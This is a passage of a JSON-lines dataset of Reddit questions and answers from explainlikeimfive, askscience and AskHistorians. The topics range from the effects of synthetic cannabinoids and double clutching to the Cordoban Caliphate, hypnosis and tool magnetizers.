you're spraying back and forth and hit the ends of the line twice. This makes it difficult to really tell what kind of dose you're getting, as you might take one hit that's pretty weak, whereas the next could rock your world or kill you.\n\nWhen you use for an extended period of time, your brain slows or stops production of all the \"feel good\" chemicals that the spice was providing. When you stop, it takes a while for your body to catch back up. This causes your brain to literally think it's dying.\n\nThe last time I had a run-in with spice, I used it daily for about three weeks. It took almost three *months* for me to be back to normal.\n\nDon't do spice, kids.", "Now, you should realize that there is a *lot* of kinds of synthetic cannabinoids going around, and some of them aren't too much worse than regular weed.\n\nBut some of them definitely are, and what makes them so much worse is their [affinity](_URL_0_) for the cannabinoid receptors. Weed will grab the receptors; cannabinoids like JWH-018 will ***wrench themselves around the receptors like a motherfuck*** and not let go for a long, long time. Weed is what's called a \"partial agonist\" of the receptor; JWH-018 is a *full agonist*. A full agonist makes the psychiatrist frown when he hears you've used it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Endogenous_ligand#Receptor.2Fligand_binding_affinity"]]}
{"q_id": "30ziyj", "title": "how are ads like \"you're the 1000000th visitor click here to claim your prize\" legal? isn't that like false advertising?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30ziyj/eli5_how_are_ads_like_youre_the_1000000th_visitor/", "answers": {"a_id": ["cpx8odg", "cpx8pir", "cpx8s1r"], "score": [2, 12, 6], "text": ["Probably not. When you click on those ads, it usually leads you to getting a virus, spyware, or just plain spam. It's already illegal to send  viruses online, so what use would it serve to follow the law and tell the truth about the ad?", "they don't get reported.\n\nif you were in charge of declaring ads illegal, would you occupy yourself with technically harmless internet advertising? sucks, you wouldn't have a choice.", "False advertising typically refers to a consumer buying a product based on the claims of the ad, but finding out the ad was not truthful and therefore losing money because of it. [Here's](_URL_0_) a little extra info on the Truth in Advertising Act. Usually, this applies to products that are being sold, so that if you buy something based on the claim the ad makes, you (hopefully) aren't defrauded and end up spending your money based on false claims. When products are being given away for free, its important that they do not harm you or cause damage. Otherwise, for free products, since you didn't pay for it, and you're not harmed by it, you don't have much ground to stand on to make your complaint against the other party.\n\nAn ad like \"you're the Xth visitor, click to claim your prize\" isn't much different. You may not be the 1,000,000th visitor, but there's no harm in that lie, so you can't take them to court for that. As for the prize, they usually *do* offer something; however, it comes with the caveat that you have to sign up for something, etc and that is all dictated in the fine print of the ad. \n\nIn short, particularly suspect ads such as the one you've pointed out are usually protected from getting sued for false advertising by means of not offering anything that will harm you, don't sell you a product based on false claims and most importantly, protect themselves in the fine print with terms and conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.ftc.gov/news-events/media-resources/truth-advertising"]]}
{"q_id": "8sxi00", "title": "How long did it take for early humans to travel during the migration periods, and how far could they get?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8sxi00/how_long_did_it_take_for_early_humans_to_travel/", "answers": {"a_id": ["e132wdq"], "score": [5], "text": ["Hi OP, this question on deep *prehistory* would be worth x-posting to our sister sub /r/AskAnthropology. While there are some anthropologists here, there are more there, and with greater focus on earlier time periods. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "xka60", "title": "what is double clutching? how and why do you do it when shifting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xka60/eli5_what_is_double_clutching_how_and_why_do_you/", "answers": {"a_id": ["c5n30tl", "c5n3y4k", "c5n409j", "c5n4hb5", "c5n4jzp", "c5n4q9y", "c5n5ecx", "c5n5l7e", "c5n7pz7", "c5n80l1", "c5nh7a7"], "score": [411, 48, 2, 11, 7, 3, 2, 18, 24, 6, 2], "text": ["Double clutching is a downshifting technique that promotes smoother transitions and lower transmission wear. It is useful for road racing, prolonging transmission life, and giving you an overall smoother ride.\n\nIn normal driving, with modern cars- you don't need to double clutch... ever. When you shift, these neat little devices called \"synchronizers\" or \"synchromesh\" (or whatever other name you want to give them) in your transmission help your shifting by matching the rotational speeds between meshing parts. Why do you need to match the speeds between transmission parts when you shift? Simple- they won't go together unless they're all traveling the exact same speed. Your synchros take care of this, so you don't have to worry about matching revs much in normal driving.\n\nSo the question now is... why the heck do you need to double clutch? It's useful in racing, it's required for non-synchro transmissions, and it's just a damn cool racing skill to master. Think of your transmission as being separated into two functional halves. One half is connected to your engine, and the other half is connected to your drive axles/wheels. The split between the two halves is right at your gears.\n\nLet's say you're driving down the street in 5th gear. Assume that your gearing is 1:1 all the way though, just for simplicity's sake. Your engine is turning 3000rpm, and so are all the parts in your transmission. You want to downshift to get higher up in your powerband to pass someone, so you mash the clutch pedal, shift to 4th gear, then lift off the clutch pedal. If your 4th gear ratio is twice what your 5th is, your engine is now spinning at 6000rpm (along with the \"engine half\" of the transmission) while the \"driveshaft half\" of your transmission is still spinning at 3000rpm. Your car is still moving at the same speed, but you're higher up in your engine's powerband. Now you have more power to pass the person in front of you.\n\nWhat normally happens when you downshift and don't match revs? You feel the car lurch some while the transmission forces the engine to a higher rev level. The synchros grip against each other to match the gear speeds, the gears mesh, and when your clutch grips- it pushes the engine higher... and you feel the rough transition. To smooth this out, you can raise the rev level of your engine and the \"engine half\" of the transmission so the synchros have less work to do, and so your transmission isn't pushing the engine around.\n\nHow do I double clutch? I never thought you'd ask.\n\n1. Push clutch pedal down\n2. Shift to neutral\n3. Lift clutch pedal up\n4. \"Blip\" throttle to raise engine speed, \"engine half\" transmission speed\n5. Push clutch pedal down\n6. Shift into lower gear\n7. Lift clutch pedal up\n\nShamelessly copied and pasted from _URL_0_\n\n**Edit**: I ride street bikes on the reg, and I do something quite similar to this...  but all i do is pull in the clutch, blip my throttle, and kick down a gear.  The same result is achieved with less work and its faster.\n\n**Edit 2**: kodemage complained this was not ELi5 enough for him, and that I used too much jargon.  As my response will probably be buried, I rewrote this for a five year old:\n\nInside your car, there is an engine. This engine sends power to your wheels. But in order to go fast, you need a box full of spinny thingys called a gearbox, otherwise your engine would have to work too hard and probably explode! Nobody wants that!!! Well sometimes, when you want to slow down, you need to change from using one spinny thingy in the box to another. You want to make sure the two spinny thinginys are moving at the same speed, so you have to push pedals and do complicated adult stuff. I am sure I you don't need to know this for another eleven years anyway. Go have some ice cream.", "Well, the alternative is granny shifting which, of course, will cost you the race against Toretto.  Nobody wants that - but who can really blame you?  He's the best there is.", "There was a lot of discussion about this in [this thread](_URL_0_)", "You are 5, you shouldn't be driving! Now get the fuck out of the car. Daddy needs to get some beer.", "Interesting that you chose ELI5 for something about driving.  Check out r/autos some time!", "It means to shift the car into neutral and letting the clutch out before hitting the clutch again to shift into the next gear.\n\nThe only case I can think of where anyone still does this is when you are having trouble getting the car into reverse from a stop.", "Not for nothing but.. When I drive my 5-Speed Altima V6 and I want to downshift quickly to turn fast I find that double clutching reduced the 'snap' 'buck' motion. Like if I need to reduce speed quickly sans brakes. Just saying....", "This [1936 video](_URL_0_) explains everything (like you're 5).\n\nThe important part for understanding double-clutching is at [6:50](_URL_0_#t=6m50s).  Double-clutching is a method to \"manually\" adjust the speeds of the spinning gears in the transmission without relying on synchronizers that would normally do this for you automatically when you tried to shift.  Why would you do this?  Because the synchronizers use a small amount of energy when they automatically reduce the speed of the selected gear and some people think they can do a better job, but in truth, these people are morons.   The only reason it truly makes sense to double-clutch is when you have a broken syncro on a gear (your transmission always grinds when you try to shift into that gear) or you have a non-syncromesh transmission.\n\nEdit: before anyone says \"but it reduces wear in the transmission\", think about this:  A modern manual transmission will generally last well over 300k miles if not abused, but to get there you'll have to replace the clutch 3 times.  Double clutching just means you're going to replace the clutch more.", " > Double Clutching is shifting into neutral before shifting down a gear. This makes the change between gears smoother. It's unneeded in modern cars.", "**OVERNIGHT PARTS FROM JAPAN**", "Truck driver here. Double clutching in a truck is used to shift up and down. It is supposed to reduce wear on the transmission of the truck, and most truck driving schools teach students that double clutching is right. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hondaswap.com/general-tech-articles/what-double-clutching-3515/"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/u80z8/eli5_double_clutching_and_engine_braking_you_know/"], [], [], [], [], ["http://www.youtube.com/watch?v=aFvj6RQOLtM", "http://www.youtube.com/watch?v=aFvj6RQOLtM#t=6m50s"], [], [], []]}
{"q_id": "1ag3qr", "title": "can someone explain what is going on in this eye?", "selftext": "Really cool picture of the eye of a lama. I was just wondering if anyone could explain the structure of this eye?\n\nedit: SORRY! \n\n_URL_0_\n\npicture!!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ag3qr/can_someone_explain_what_is_going_on_in_this_eye/", "answers": {"a_id": ["c8x8pdn"], "score": [3], "text": ["The wavy structures seen on the dorsal and ventral part of the iris are called \"iridial folds\". Horses and ruminants have similar structures called corpora nigra.\nThe function of these structures is believed to help with blocking out glare from the sun. Remember that horses, camelids (including llama) and ruminants are prey animals, so this is likely an evolutionary trait that has developed to help evade predation. \n\nYou will also notice that the iris aperture is horizontal, which allows a very wide field of view (almost 340 degrees of vision)."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/BtZ2qQJ.jpg"], "answers_urls": [[]]}
{"q_id": "bkmywe", "title": "how do creatures gain \"eyespots\" for mimicry?", "selftext": "It's been a long time since I've had any sort of biology class...\n\nI've been looking at Mothra's design in the new Godzilla film and she has two big spots on her wings that look like eyes.\n\nIt reminded me of the eyespots on real-world insects and other animals, which made me wonder...how exactly does a creature go about gaining that type of pattern on itself? I mean it can't just..\"will\" it to appear, right?\n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bkmywe/eli5_how_do_creatures_gain_eyespots_for_mimicry/", "answers": {"a_id": ["emhvwz4", "emhxomg", "emk579p"], "score": [4, 3, 3], "text": [" > \tI mean it can't just..\"will\" it to appear, right?\n\nOf course not. It mutates randomly and some end up with spots various places. Those spots are inherited and gradually particular arrangements of spots result in a better survival rate which means they become more common in the population.\n\nThis kind of mutation and selection continues for a long time until you end up with a pattern which is very confusing to predators and may closely mimic eye spots or other things.", "Butterflies, moths, animals in general adapted to the environment by having slightly varying DNA from generation to generation.\n\n & #x200B;\n\nIn the case of moths, the moths that evolved to have darker pigmentation ended up surviving because the light color ones didn't blend into tree bark as well.\n\n & #x200B;\n\nButterflies adapted to having a pattern that looks like eyes which in some species makes them appear to be the eyes of another predator. \n\n & #x200B;\n\n[This is a good example of the eye pattern. Notice that it looks very similar to owl eyes.](_URL_0_)", "This is a pretty big misconception about genetics and survival of the fittest.\n\nThe butterfly has no self-awareness. It doesn't \"know\" that its wings have big, scary, face-like patterns on them. However, they have them because one butterfly millions of years ago totally accidentally had a series of genetic mutations that created this pattern that just so happens to resemble a scary face, and because this pattern scared away any predators, this butterfly wasn't eaten (unlike the others that had pretty unicorn-shaped wing patterns and were eaten).\n\nBecause it wasn't eaten, this butterfly was able to reproduce while the others weren't. Each of the offspring also had this pattern which scared off predators as well, and they were also able to reproduce better than other ones.\n\nThe butterflies that have these patterns are better at surviving (and, therefore, reproducing) than the ones that don't. This is what we call survival of the fittest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.google.com/url?sa=i&amp;source=images&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwj_g96drILiAhUPJt8KHZgeBPYQjRx6BAgBEAU&amp;url=https%3A%2F%2Fwww.dreamstime.com%2Fstock-photography-butterfly-eyes-image195652&amp;psig=AOvVaw1zzIK1w2NPVHCHekQ89nQK&amp;ust=1557075457241360"], []]}
{"q_id": "8qzn8c", "title": "Why was the Emirate, and late Caliphate, of Cordoba never able to conquer it's Christian neighbors in northern Hispania?", "selftext": "To my knowledge, the Cordoban Islamic state was much more advanced then it's christian neighbors in northern Hispania. Economically, it was an urban cash economy, whereas the christian states had feudal economies. It was also a very urbanized society, and considered to be one the wealthiest states in Europe. Cordoba even had the largest population of any city in Europe at one point. I don't like using this word, but I did see some people on this sub call the economy and society of the northern Christian states \"backward\".  Yet, in the 8th and 9th centuries, I see the Christian states expanding southward. Even in the 10th century, at the peak of Cordoba's prosperity, the Christian states seemed to be the ones doing the expanding. Why was this? If Cordoba had such an advanced society, how come it was never able to military conquer it's opponents? From what I know, the northern Christian states were only ever able to field very small armies. At the Battle Of Sagrajas, the Christians had about 3,000 soldiers. At the battle of Fraga, about 2,500. At the battle of Ucles, 2,300. And these battles all took place after Cordoba's peak in power. It makes sense that these states would have only ever been able to field about 3,000 men in any battle against the state of Cordoba, while Cordoba could likely field 10,000\\+ if it just created an army of levies from only Cordoba. So why was Cordoba never able to conquer the Christian states of Northern Hispania?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qzn8c/why_was_the_emirate_and_late_caliphate_of_cordoba/", "answers": {"a_id": ["e0nwurb"], "score": [294], "text": ["Three reasons. Centralization and politics, geography and tactics, and allies and actual fighting.\n\nLet's begin with the easiest. Those regions of Spain, the Cantabrian Mountains, the ones in the north of Spain, are very wet and mountainous. It is incredibly hard to get a big army through there. Think of the Vietnam war without air support. That directly led to the tactics used by the early Christian nobles, and later the Asturias - they utilized raiding and guerilla warfare, which meant that they were impossible to defeat in a single battle. Also, that type of terrain made it very hard to take advantage of numerical and economic superiority over the enemy - 300 men can block a path for 10000 and delay them long enough for the logistical problems of feeding and defending a column of 10000 men to appear. All of this made the brute force approach to the problem ineffective. In fact, during the 10th-beginning of 11th century (929-1002), the muslim Umayyads tried using that approach to put an end to the Reconquista, with moderate success - it was simply too late.\n\nNext, the politics and centralization. Originally, Spain was conquered by the Berbers from Africa, who had problems in the african homeland. The actual Iberia wasn't centralized at all, with the governors constantly plotting revolt, and actually breaking up into a civil war between 1002 and 1031, which resulted in the appearance of like 30-35 incredibly tiny so called Taifa kingdoms, each of which betrayed the others without any concern for the christian threat. On the other hand, the Christians were unified under one banner of Leon/Asturias against the Muslim threat they considered existential, and didn't start infighting until 1063, when the Muslims were already broken up. The infighting was over and the Christians made gains by the time the Almoravids arrived and unified the Muslims again in 1086, and from there it was already a lost campaign for the Muslims. Also, in case of infightings, the Christians had the Pope as the final arbitor of any disputes heavily on the side of achieving the Reconquista.\n\nAnd finally, allies. The Christians didn't have to endure all the fighting on their own - they had allies. Like the Franks, for example. In fact, for much of the 8th century the Muslims were fighting the Frankish threat right across the Pyrenees. The logistics were hard and the Muslims had to retreat, and the Franks pursued them over the Pyrenees, reconquering and supporting Catalonia and what was soon to be Aragon and Navarra. The Muslims, on the other hand, had to fight basically a two-front war against these enemies all on their own, with the only, unreliable, allies in the face of Berbers who constantly had to go back to Africa.\n\nTL;DR: well they tried, but it's hard to win a two-front Vietnam war.\n\nLoosely based on:\n\nO'Callaghan, Joseph F. (2003). Reconquest and Crusade in Medieval Spain. Philadelphia: University of Pennsylvania Press.. ISBN 0812236963. \n\n Collins, Roger (1989). The Arab Conquest of Spain 710\u2013797. Oxford, UK / Cambridge, USA  ISBN 0-631-19405-3. \n\nEdits: fixed some grammar and typos here and there, added a date"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31ws9p", "title": "why can dzhokhar tsarnaev be sentenced to death (for the boston bombings) when capital punishment was outlawed in massachusetts in 1984", "selftext": "Confused foreigner here. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31ws9p/eli5_why_can_dzhokhar_tsarnaev_be_sentenced_to/", "answers": {"a_id": ["cq5ouoe", "cq5ovtm", "cq5oxrj", "cq65hky", "cq65hqf", "cq67zyc", "cq6ctpw", "cq6near"], "score": [1034, 102, 14, 3, 20, 6, 5, 5], "text": ["Because he wasn't tried in a state court, he was tried in federal court -- and federal law allows for the death penalty.", "As terrorism is a federal crime, I'd assume federal law applies, and federal laws superseded state laws.", "He's charged with a federal crime, so his trial is at the federal level. The state's laws don't apply, so capital punishment is allowed.", "Because capital punishment is not illegal at the federal level, and he can be tried by federal courts as it was an act of terror.", "American dynamics are hard to understand to Americans, let alone foreigners.\n\nWe are \"United States.\" 50 states over a very large land mass all with different laws.  These states still can get overruled by the Federal Government.\n\nOur Federal Government is responsible for the military, certain social and medical programs, space exploration, environmental regulation, border control, etc.\n\nTerrorism involves other countries, like this case.  Federal law enforcement like FBI deals with that.  States just don't have the resources to take on these things and there are international implications.\n\nSo basically, certain crimes against the national interest get tried by federal court.  Drug traffickers are usually under Federal charges.  Terrorists.  Crimes that cross state borders.\n\nBut you also picked up on the fact that when crimes are so controversial or political in nature (Ferguson) they often will step in under some nonsense reason depending on who is President.  Sometimes if there is enough political pressure on the President, he can start a Federal Investigation or indictment.  So its basically kind of wishy washy.  Except for terrorism.  That will always be a Federal crime.\n\n\n\n", "Long story short Massachusetts doesn't have anything to do with a federal case", "Because it's a federal crime and federal laws allow for the death penalty. Timothy McVeigh was charged with federal offenses.", "He was charged with violating federal law.  Federal law allows for the death penalty in certain cases (See Timothy McVeigh).  His case was a case in which a guilty verdict can allow for the death penalty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3kfkia", "title": "how is it that apple can market their new ipad pro without any sort of copyright/trademark/patent infringement given that it appears nearly identical to the microsoft surface?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kfkia/eli5_how_is_it_that_apple_can_market_their_new/", "answers": {"a_id": ["cuwzg5u", "cuwzjdw", "cuwzuzv", "cux6p96", "cux8ud3", "cuxcse8"], "score": [34, 5, 52, 3, 4, 5], "text": ["It's a PENCIL not a STYLUS. It's SCREEN SHARING not SNAP. It's a SMART KEYBOARD not a TYPE COVER. \n\nEDIT: I forgot the /s for whoever couldn't sense the sarcasm and downvoted me. ", "They are clearly going to look pretty similar because pretty much all tablets look the same - a thin bezel, a large touch-screen, a metal case and (likely) a central button and front-screen camera. \n\n\nIt's not like Apple is particularly mimicking the styling of the Surface given the iPad Pro looks pretty much exactly like the rest of its iPad line...but bigger. If it was going to be a copyright/trademark/patent infringement it would be very questionable who would be claiming against who (the iPad predates the Surface by a couple of years).\n", "They aren't violating any of Microsoft's trademarks- that only covers names and logos.\n\nThey aren't violating any of Microsoft's copyrights- that covers things like source code or documentation and Apple isn't using any of that from Microsoft.\n\nThey are using things that Microsoft has patented, but Microsoft and Apple have a patent licensing agreement in place so Apple is allowed to do things that Microsoft has patented.", "The tablet computer is not a new thing at all. Apple ripped the idea off from other companies that have been producing them for over ten years, and then put it into a much more aesthetically pleasing package with better battery life and such. There are no new ideas in consumer electronics, really, and the idea of patenting them is hilarious. \n\nOS X is a straight rip of UNIX, which had support for multi-user interaction since the seventies. Something neither Windows nor Mac had until .. ten years ago? Again, there are no new ideas. \n\n", "Didn't pretty much every other company copy The iPad after it came out? ", "All I see in this comment section are a bunch Apple hating morons that are clearly oblivious about intellectual property at its basic level.\n\nSo I'll explain like you're five:\n\nApple didn't release a product called the Microsoft Surface, did they? No. \n\nApple's device doesn't look like a Microsoft surface, does it? And by look like it, I mean, doesn't look so similar that someone would think the Apple product IS a surface because the exterior casing or wtv is identical. Once more, the answer is no\n\nLet's assume that patents for the electronic components are all in order as well.\n\nNow, did Apple engineer the majority, if not the entirety, of these products themselves? Yes. So we can assume that Apple didn't steal any classified surface plans to create this device because Apple has their own engineers and designers that come up with their own shit. \n\nAnd the software on the device is from Apple and not Microsoft, right? Right!\n\nSo Apple has broken no laws. Not even close. \n\nThere is nothing that prevents a company from making a product that happens to have a keyboard cover and a stylus\n\nTo the OP I ask this: why didn't you get mad at Samsung for releasing a galaxy tablet after Apple introduced the iPad? I mean, they look the same and do the same things, right? That's what I thought \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1d0h0k", "title": "what is the cause of the new usa/australia friendship on reddit and why is reddit flooded with it all of a sudden?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1d0h0k/eli5_what_is_the_cause_of_the_new_usaaustralia/", "answers": {"a_id": ["c9lyguq", "c9lyjkj", "c9m0e1q"], "score": [5, 8, 3], "text": ["I don't understand it. I thought we went to war with Australia. It says we did in GTA: Vice City.", "People recognize that they can get easy karma because everyone else is posting the same thing and getting a lot of karma.", "I believe it began as a joke about how when it's night time in America, Australian Redditors \"start their shift\" and take over. Then, When Australians go to bed, Americans take over again. This evolved into a friendship of sorts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2c4e25", "title": "If I had a laser and a pair of glasses, could I tell what the prescription is?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2c4e25/if_i_had_a_laser_and_a_pair_of_glasses_could_i/", "answers": {"a_id": ["cjbu2jt", "cjbwqho", "cjc3tjp"], "score": [8, 3, 2], "text": ["If you could build a [focimeter](_URL_0_) using the laser, then yes!", "It would be difficult to specify their power only with a laser pointer. However, you can distinguish between divergent and convergent lenses easily by just looking at how they bend light on a sunny day. Divergent lenses will spread light, while the convergent ones will focus it.", "Sure, just fire the laser perpendicular to the plane of the lens; it will reroute the beam through the focus, then you just measure that distance (in meters) and take the reciprocal of that. This will give you the optical power. Only issue is most lenses aren't quite exactly symmetric, so this may cause deviations from an ideal thin lens."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Lensmeter"], [], []]}
{"q_id": "5gm7o4", "title": "why is bic the only company that can make a reliable disposable lighter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gm7o4/eli5why_is_bic_the_only_company_that_can_make_a/", "answers": {"a_id": ["datayh4", "dataz5g"], "score": [3, 8], "text": ["How would you compete with Bic?  \n\nLighters are unique products because they are perceived as being dangerous and having the potential to cause millions of times more damage then their cost if they go bad.\n\nTheir lighters are relatively cheap already, and known to be reliable.  How cheap would your competing product need to be for people to \"take the risk\" of a fuel filled fire machine that lives in their pocket \"going wrong\"?\n\nCan you make a lighter that is so much better than Bic that people would turn to it for convenience?  Bic is already pretty easy to use (and any easier is a bit scary from an accidentally starting fire perspective).\n\nSo what could you bring to the market that would pull people away from Bic?", "Clippers are reliable as hell too, but it should be said Bic makes razors and ballpoint pens, which are also small plastic-based products. \n\nThey're probably just relying on lots of experience making small doodads out if plastic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "126b6m", "title": "Derren Brown's Tv shows frequently show him putting people to sleep with just a few words and controlling their actions using minor suggestions. How much of this 'mind control' is actually possible?", "selftext": "I have just finished watching Derren Brown's Apocalypse Tv show in which he appeared to trick a highly suggestible man into believing that there has been a meteorite shower and he is now living in a zombie apocalypse. [Here is the link if your interested](_URL_0_). \n\nI've always assumed that the people in Derren's shows are actors and that the entire thing is staged, however I am curious about how much is really possible with the power of suggestion and hypnotism.\n\nI am so sorry that this is such a vague question!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/126b6m/derren_browns_tv_shows_frequently_show_him/", "answers": {"a_id": ["c6sjgax", "c6snn5e"], "score": [61, 3], "text": ["I'm a clinical psychologist now but I did quite a few stage hypnosis shows myself during grad school (and I think I have one or two up on youtube, somewhere). \n\nImagine a lemon in your hand. Imagine what it would look like in your hand. How would it feel? Would it be yellow? Can you see the dimples? Does it have a smell? In your other hand, have a knife. Is the knife plastic or metal? \nWhichever it is, use that knife to cut into the lemon. Notice the lemon juice on your hand. Now, put the knife down, and pull apart the lemon. \nTake one half of the lemon, and take a bite into it. \nSo-- did you salivate? \nThat's an example I use as to how hypnosis works. Indeed, I did just now control your actions (your salivating) using minor suggestions. \n\nNow, some people take a lot of suggestions and have to be quite relaxed in order to do something really interesting (such as forget the number 6 or what not). \nBut some people don't need much suggestion/direction at all. \n\nFor any stage show (as well as any TV show), 90% of the work is a) getting the crowd to trust you enough to volunteer and b) sorting out those who are the most suggestible. Make no mistake, the producers made sure that the people on the TV show were quite suggestible.  \n\nTo answer your question more directly: \"mind control\" is possible to the extent that you can direct certain normal human functions (e.g. hallucination/dissociation) in most people when they are sufficiently relaxed (and when they trust you). \n\nSuch \"commands\" are bounded by many of the same factors that affect attention in memory. In other words, if I have someone forget the number 6, then I die on stage, that person will quite quickly remember the number 6 again in short order. Somehow, the subconscious knows that the suggestion is safe and temporary. \n\nHonestly, what's scary about control human behavior is the overt stuff. You want to control people's behavior? Look into studies on obedience, conformity, and the effects of authority. \n\nalso-- my first post ever on reddit! ", "Pretty sure in his book 'Tricks of the mind' he says he achieves [this](_URL_0_) by barraging the person with various directions and questions before saying something like 'or you can just sleep'. Given this get out clause they fall asleep on the spot.\n\nUgh - it's about 20 seconds into the video, can't time-link an age-restricted Youtube clip it seems."]}, "title_urls": [], "selftext_urls": ["http://www.channel4.com/programmes/derren-brown-the-specials/4od#3430559"], "answers_urls": [[], ["http://www.youtube.com/watch?feature=player_detailpage&amp;v=hrDM3kJw6Qg#t=22s"]]}
{"q_id": "15ljjs", "title": "Screen's response times and human perception", "selftext": "It's a really downvote-brigade war every time at /r/buildapcsales and /r/buildapc when it comes to response times for IPS displays running at 120Hz.\n\nPersonally, I'm on the side that I *can* perceive the difference between 2ms and 7ms. However, that's without any brute scientific method to back my claim.\n\nSo, are there any good papers about speed of the eye's perception? It doesn't have to be about screen's response times of course. Thanks for any input.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15ljjs/screens_response_times_and_human_perception/", "answers": {"a_id": ["c7nq8h3"], "score": [7], "text": ["One problem about that is there are discrepancies in the information companies provide as well - response times are often presented in grey-to-grey -- which is changing the pixel by a minute shade of grey, rather than black-to-white which is much slower. So a screen may claim a 7-12ms response time, GTG, but be more like 30MS BTW which would be more noticeable. This response isn't flat across the entire picture, as well - because certain pixels will change faster than others (GTG vs BTW) you'll see 'tearing' or 'ghosting' if a response time is particularly low.\n\nAnd on the subject of frame rates, the whole misconception that eyes can only see up to \"30 FPS\" is brought on largely by the simple fact that most videos are presented in some format of 30FPS, whether it's 24 scaled to 30, or whatever else. Extremely irritating hearing this parroted repeatedly.. I don't have a link to it, but I had once read a study that figured the eye could detect changes in an image run at as high as 400 FPS. As in, the appearance of a white dot on a solid image for 1/400th of a second.\n\nI doubt you'll find good studies on this as there will be variances not just from person to person, but difficulty in finding good controls on a study like this too. Be really pleased to see something to link to the spreaders of misinformation with regards to refresh rates  &  response times, however..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zfz77", "title": "Husband bought a magnetizer/demagnetizer but cannot tell me why it works.  Can someone explain this to me?", "selftext": "Ok so at home depot the other day I spotted a [magnetizer/demagnetizer](_URL_0_) for under $3 and thought it was nifty so I talked my husband into buying it.  Now i  want to know how it works and what the expected functional life of this thing is.  I mean, do they run out of their umph after so long?  For less than a fiver I cannot believe this does not lose its efficacy after so many uses.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zfz77/husband_bought_a_magnetizerdemagnetizer_but/", "answers": {"a_id": ["c648j86", "c64a8f6", "c64acwy", "c64bp7w"], "score": [5, 3, 29, 12], "text": ["I've never seen one of those. How exactly is it used? Does it need a power source? From your question, it doesn't seem like it.\n\nYou can demagnetize things by [degaussing](_URL_0_), but that would require a power source. I have no idea how this would work otherwise.", "The magnetizer part is probably an ordinary magnet. The demagnetizer would, I assume, be small magnets with different polarities which would scramble the electrons.", "My thought: Ok, so every ferrous metal has the ability to be magnetized.  There are a couple ways to do this.  It looks like that tool uses a magnetic field to align the domains.  Domains are basically a region where the magnetic fields of atoms are grouped and aligned.  So, your standard screwdrives have all the atomic fields (domains) pointing all over the place.  \n\nNow, if you look, you put the screwdriver in one way along the top, then again along the bottom (going in the opposite direction).  This basically gets all of your domains lined up and in formation.  Once that happens you've got yourself a magnet.  You can do this by just rubbing a magnet over anything metal as long as you go in the same direction.  The tool is basically a few strong magnets aligned properly.\n\nNow, to make something demagnetized, you need to scramble all those domains back up.  It looks like the upper part of the tool takes care of scrambling stuff, probably by having magnets pointing all over the place.\n\nOk, on to the question:  Does it lose its efficiency?  I don't think it will.  But, the tool you magnetized will over time become less magnetic as the domains don't really have any reason to stay in the order you put them and will return to pointing every which direction until forced to line back up by your tool.\n", "The expected functional life for your magnet is decades of proper use. A way to weaken/destroy it would be to place a large, very strong magnet inside it. The only other reasonable way to ruin it would be to smash it into something to the point where it shatters. The least reasonable way to ruin it would be to place it in a hot fire.\n\nIt works by using a specific alignment of magnets. [Here is a patent](_URL_0_) with diagrams, specifically look at Figure 4. The magnets are arranged in an orientation that will either align or randomize the magnetic domains in your tool, depending on whether you're magnetizing or demagnetizing your tool. Steel tools are essentially soft magnets, which means they behave similar to the magnets on your refrigerator, only they tend to be much weaker. Like refrigerator magnets, steel tools can be magnetized and demagnetized through processes that align or randomize the electron spins in the material.\n\nThe reason why it's so cheap is because the magnets the device uses are ferrite magnets, which are pretty much dirt cheap (ferrite is literally found in dirt). The world makes more ferrite magnets by mass than any other magnet by an order of magnitude, and at the same time they're an order of magnitude cheaper than strong magnets like neodymium or samarium cobalt.\n\nWant to know the specifics of the demagnetization or magnetization process, or are you good with that? I'd be happy to explain more."]}, "title_urls": [], "selftext_urls": ["http://www.homedepot.com/buy/general-tools-precision-magnetizer-and-demagnetizer-3601.html#.UEh3T7B5mSM"], "answers_urls": [["http://en.wikipedia.org/wiki/Degaussing"], [], [], 